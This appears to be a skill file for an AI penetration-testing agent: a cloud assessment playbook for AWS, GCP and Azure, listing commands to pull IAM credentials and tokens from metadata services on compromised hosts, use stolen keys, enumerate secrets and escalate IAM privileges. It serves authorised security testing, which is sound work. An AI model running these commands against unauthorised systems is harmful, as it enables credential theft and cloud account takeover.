playbook-cloud

name	playbook-cloud
description	Cloud security playbook — AWS/GCP/Azure misconfiguration and attack patterns (IAM, storage, metadata, privesc). Load when the target is a cloud environment or you obtain cloud creds/metadata. Triggers - AWS/GCP/Azure, IAM role/policy, S3/blob bucket, 169.254.169.254 metadata, access key, assume-role, cloud console.

Cloud Security Assessment Playbook

AWS

Reconnaissance

# Enumerate S3 buckets
aws s3 ls s3://<company>-<env> --no-sign-request
aws s3 ls s3://<bucket> --no-sign-request --recursive

# Check for public snapshots
aws ec2 describe-snapshots --owner-ids <account_id> --region <region>

# IMDS (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/user-data

Credential Abuse

# Configure stolen credentials
export AWS_ACCESS_KEY_ID=<key>
export AWS_SECRET_ACCESS_KEY=<secret>

# Enumerate permissions
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name <user>
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Enumerate resources
aws ec2 describe-instances --region <region>
aws s3api list-buckets
aws lambda list-functions --region <region>
aws rds describe-db-instances --region <region>
aws secretsmanager list-secrets --region <region>

Privilege Escalation

• iam:CreatePolicyVersion → attach admin policy
• iam:AttachUserPolicy → attach AdministratorAccess
• lambda:CreateFunction + iam:PassRole → execute as privileged role
• sts:AssumeRole → pivot to other roles
• Tools: pacu, pmapper

GCP

Reconnaissance

# Metadata server (from compromised instance)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Enumerate with credentials
gcloud projects list
gcloud compute instances list
gcloud storage ls
gcloud iam service-accounts list
gcloud secrets list

Key Checks

• Public Cloud Storage buckets
• Default service account with broad permissions
• Overprivileged IAM bindings
• Exposed GKE clusters
• Cloud Functions with secrets in env vars

Azure

Reconnaissance

# Enumerate tenant info
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration

# IMDS (from compromised VM)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# With token
az account list
az vm list
az storage account list
az keyvault list
az ad user list

Key Checks

• Public blob storage containers
• Exposed App Services / Function Apps
• Overprivileged Managed Identities
• Azure AD misconfigurations (guest access, app registrations)
• Network Security Groups allowing broad ingress
• Key Vault access policies

Cross-Cloud Checks

• Hardcoded credentials in repos/CI
• Overprivileged service accounts
• Public storage (S3/GCS/Blob)
• Metadata service access (SSRF → cloud creds)
• Logging gaps (CloudTrail/StackDriver/Azure Monitor)
• MFA not enforced on admin accounts